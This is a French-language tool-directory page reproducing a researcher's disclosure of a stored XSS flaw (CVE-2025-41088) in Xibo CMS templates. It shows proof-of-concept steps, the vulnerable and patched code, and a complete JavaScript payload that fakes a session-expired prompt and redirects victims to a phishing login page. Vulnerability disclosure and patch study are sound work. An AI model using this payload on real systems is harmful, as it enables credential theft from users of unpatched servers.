Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-41088 — Cross-Site Scripting (XSS) stocké dans Xibo CMS v4.1.2 de Xibo Signage, en raison d'un manque de validation appropriée des entrées utilisateur. | Kitploit
Outils/GitHubGitHub/marinafabregat/cve-2025-41088
Analyse des VulnérabilitésExploitationExploitation d'Applications WebHameçonnageArticles et RechercheApprentissage et Éducation
GitHubmarinafabregat/cve-2025-41088

CVE-2025-41088

Cross-Site Scripting (XSS) stocké dans Xibo CMS v4.1.2 de Xibo Signage, en raison d'un manque de validation appropriée des entrées utilisateur.

Voir le dépôt
53il y a 10 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-41088 : XSS stocké dans Xibo CMS

J'ai découvert une vulnérabilité de Cross-Site Scripting (XSS) stocké dans Xibo CMS v4.1.2. Cette vulnérabilité permet à un attaquant authentifié d'injecter des scripts malveillants dans l'application en raison d'une validation inadéquate des entrées fournies par l'utilisateur.

Le problème réside dans la fonctionnalité « Templates ». Un attaquant peut créer un modèle contenant un élément de texte avec une charge utile malveillante. Lorsque ce modèle est consulté par d'autres utilisateurs, le script s'exécute dans leur navigateur, ce qui peut conduire au vol de données ou à d'autres actions malveillantes.


Preuve de concept (PoC)

Pour exploiter la vulnérabilité, un utilisateur authentifié doit suivre ces étapes :

  1. Accédez à la section Design > Templates et créez un nouveau modèle.
  2. Allez dans la section Global Elements et ajoutez un nouvel élément texte.
  3. Dans le champ Text de l'éditeur, insérez la charge utile XSS malveillante (par exemple, <script>alert(1337)</script>).
  4. Enregistrez l'élément. La charge utile est désormais stockée sur le serveur.
  5. Le script s'exécutera à chaque fois que le navigateur d'un utilisateur affichera l'élément compromis.

Code vulnérable

Cette section contient l'extrait de code spécifique de Xibo CMS v4.1.2 qui ne désinfecte pas l'entrée du champ « Text ».

root@kitploit:~
'extends' => [ 'override' => $moduleTemplate->extends?->override, 'with' => $moduleTemplate->extends?->with, 'escapeHtml' => $moduleTemplate->extends?->escapeHtml, ], ]; } else if ($extension !== null) {

Dans une autre ligne du même document.

root@kitploit:~
        'extends' => [
            'override' => $moduleTemplate->extends?->override,
            'with' => $moduleTemplate->extends?->with,
            'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
        ],
    ];

Dans un autre document.

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml = template?.extends?.escapeHtml;
    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);

    

Code corrigé

Cette section présente le code corrigé, qui inclut des mécanismes appropriés de désinfection des entrées et d'encodage des sorties afin de neutraliser les scripts malveillants.

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];
        } else if ($extension !== null) {

Dans une autre ligne du même document.

root@kitploit:~
                'extends' => [
                    'override' => $moduleTemplate->extends?->override,
                    'with' => $moduleTemplate->extends?->with,
                    'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
                        $moduleTemplate->extends->escapeHtml : 1,
                ],
            ];

Dans un autre document.

root@kitploit:~
    // Escape HTML
    convertedProperties.escapeHtml =
      (template?.extends?.escapeHtml === undefined) ?
        true : template.extends.escapeHtml;


    // Compile hbs template with data
    let hbsHtml = hbsTemplate(convertedProperties);
 

Exploitation

La charge utile stockée est exécutée dans le contexte du navigateur de la victime, ce qui peut être exploité pour voler des informations sensibles telles que les mots de passe.

1. Injection de la charge utile : L'attaquant insère le script malveillant dans un élément texte au sein d'un modèle.

Script_Location

Le script que j'ai utilisé est le suivant :

root@kitploit:~

<script>
(function() {
    // --- MAIN FUNCTION ---
    function showRedirectModal() {
        // 1. Create the elements
        const overlay = document.createElement('div');
        const modalContainer = document.createElement('div');
        const title = document.createElement('h2');
        const message = document.createElement('p');
        const redirectButton = document.createElement('button');

        // 2. Assign styles and properties
        // Style for the dark overlay
        Object.assign(overlay.style, {
            position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
            backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
            display: 'flex', justifyContent: 'center', alignItems: 'center'
        });

        // Style for the modal container 
        Object.assign(modalContainer.style, {
            padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
            boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
            fontFamily: 'Arial, sans-serif'
        });

        // Style for the title
        title.textContent = 'Session Expired';
        Object.assign(title.style, {
            textAlign: 'center', color: '#333', marginBottom: '15px' 
        });

        message.textContent = 'Your session has expired. Please log in again to continue.';
        Object.assign(message.style, {
            textAlign: 'center',
            color: '#555',
            marginBottom: '25px',
            lineHeight: '1.5',
            fontSize: '16px'
        });

        // Style for the redirect button
        Object.assign(redirectButton.style, {
            width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
            backgroundColor: '#007bff', color: 'white', fontSize: '16px',
            cursor: 'pointer'
        });
        redirectButton.textContent = 'Log In Again'; 

        // 3. Assemble the modal structure
        modalContainer.appendChild(title);
        modalContainer.appendChild(message);
        modalContainer.appendChild(redirectButton);
        overlay.appendChild(modalContainer);

        // 4. Add the modal to the page
        document.body.appendChild(overlay);

        // 5. Define the button's behavior 
        redirectButton.addEventListener('click', function(e) {
            e.preventDefault(); // Buena práctica

            const phishingURL = 'http://my-website-example.com/login.html'; 

            window.location.href = phishingURL;
            
            document.body.removeChild(overlay);
        });
    }

    // --- Initialize the function ---
    showRedirectModal();

})();
</script>

2. Scénario d'attaque : Une attaque courante simule une expiration de session pour capturer les identifiants de l'utilisateur. Le script détourne la page et présente cette fenêtre contextuelle à la victime.

image

Références

  • INCIBE-CERT (espagnol) : Multiples vulnérabilités dans Xibo CMS
  • INCIBE-CERT (anglais) : Multiples vulnérabilités dans Xibo CMS

Avertissement

Ces informations sont fournies à des fins éducatives et de recherche uniquement. Je ne suis PAS responsable de tout usage abusif ou dommage causé par ces informations.

Télécharger l’outil